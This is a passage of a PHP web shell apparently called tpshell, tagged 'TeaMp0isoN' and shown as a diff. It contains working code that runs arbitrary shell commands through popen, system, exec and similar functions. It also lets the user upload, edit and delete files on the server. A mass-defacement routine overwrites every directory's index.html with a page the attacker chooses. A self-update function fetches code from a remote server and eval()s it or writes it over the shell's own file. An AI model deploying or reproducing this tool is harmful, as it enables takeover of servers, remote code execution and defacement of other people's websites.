+"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} + +echo "</td></tr></table>\n"; +/*** COMMANDS PANEL ***/ +?> + +<table class=mainpanel> +<tr><td align=right>Command:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>"> + <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Quick Commands:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type=hidden name="cmd_txt" value="1"> + <select name="cmd"> + <?php + foreach ($cmdaliases as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + foreach ($cmdaliases2 as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + ?> + </select> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Upload:</td> +<td><form method="POST" enctype="multipart/form-data"> + <input type=hidden name=act value="upload"> + <input type=hidden name="miniform" value="1"> + <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?> + </form> +</td></tr> +<tr><td align=right>PHP Filesystem:</td> +<td> +<?php ##[ TeaMp0isoN ]## ?> +<script language="javascript"> +function set_arg(txt1,txt2) { + document.forms.fphpfsys.phpfsysfunc.value.selected = "Download"; + document.forms.fphpfsys.arg1.value = txt1; + document.forms.fphpfsys.arg2.value = txt2; +} +function chg_arg(num,txt1,txt2) { + if (num==0) { + document.forms.fphpfsys.arg1.type = "hidden"; + document.forms.fphpfsys.A1.type = "hidden"; + } + if (num<=1) { + document.forms.fphpfsys.arg2.type = "hidden"; + document.forms.fphpfsys.A2.type = "hidden"; + } + if (num==2) { + document.forms.fphpfsys.A1.type = "label"; + document.forms.fphpfsys.A2.type = "label"; + document.forms.fphpfsys.arg1.type = "text"; + document.forms.fphpfsys.arg2.type = "text"; + } + document.forms.fphpfsys.A1.value = txt1 + ":"; + document.forms.fphpfsys.A2.value = txt2 + ":"; +} +</script> +<?php + echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n". + "<select name=\"phpfsysfunc\">\r\n"; + foreach ($phpfsaliases as $als) { + if ($als[1]==$phpfsysfunc) { + echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + else { + echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + } + echo "</select>\r\n". + "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n". + "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n". + "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n"; + } + echo "</form>\r\n"; +?> +</td></tr> +<tr><td align=right>Search File:</td> +<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search"> + </form> + </td></tr> +<tr><td align=right>Create File:</td> +<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> + <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?> + </form></td></tr> +<tr><td align=right>View File:</td> +<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View"> + </form></td></tr> +<? +$self=basename($_SERVER['PHP_SELF']); +if(isset($_POST['execmassdeface'])) +{ +echo "<center><textarea rows='10' cols='100'>"; +$hackfile = $_POST['massdefaceurl']; +$dir = $_POST['massdefacedir']; +echo $dir."\n"; + +if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir.$file)=="dir"){ + $newfile=$dir.$file."/index.html"; + echo $newfile."\n"; + if (!copy($hackfile, $newfile)) { + echo "failed to copy $file...\n"; + } + } + } + closedir($dh); + } +} +echo "</textarea></center>";} ?> + + +<tr><td align=right>Mass Defacement:</td> +<td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></form></td> + + +</table> +<?php footer(); ?> +</body></html> +<?php + + +function safemode() { + if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; } + else { return FALSE; } +} +function getdisfunc() { + $disfunc = @ini_get("disable_functions"); + if (!empty($disfunc)) { + $disfunc = str_replace(" ","",$disfunc); + $disfunc = explode(",",$disfunc); + } + else { $disfunc= array(); } + return $disfunc; +} +function enabled($func) { + if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; } + else { return FALSE; } +} +function tpexec($cmd) { + $output = ""; + if ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function tpexec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = tpexec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: <font color=#37FDFC><b>ON</b></font>"; } + else { return "$sup: <font color=#37FDFC><b>OFF</b></font>"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (tpexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "<font color=#37FDFC><b>".$disablefunc."</b></font>"; + } + else { return "<font color=#37FDFC><b>NONE</b></b></font>"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "<font color=#37FDFC>".$letter."</font>"; } + $letters .= "</a> "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} + +function tpgetsource($fn) { + global $tpsh_sourcesurl; + $array = array( + "tpsh.php" => "tpsh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($tpsh_sourcesurl.$name);} + else {return FALSE;} +} +function tpsh_getupdate($update = TRUE) { + $url = $GLOBALS["tpsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download tpshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function tp_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function tp_sess_put($data) { + global $sess_cookie; + global $sess_data; + tp_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} + + +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} + +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function tpshexit() { onphpshutdown(); exit; } + +function tpfsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {tpfsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + 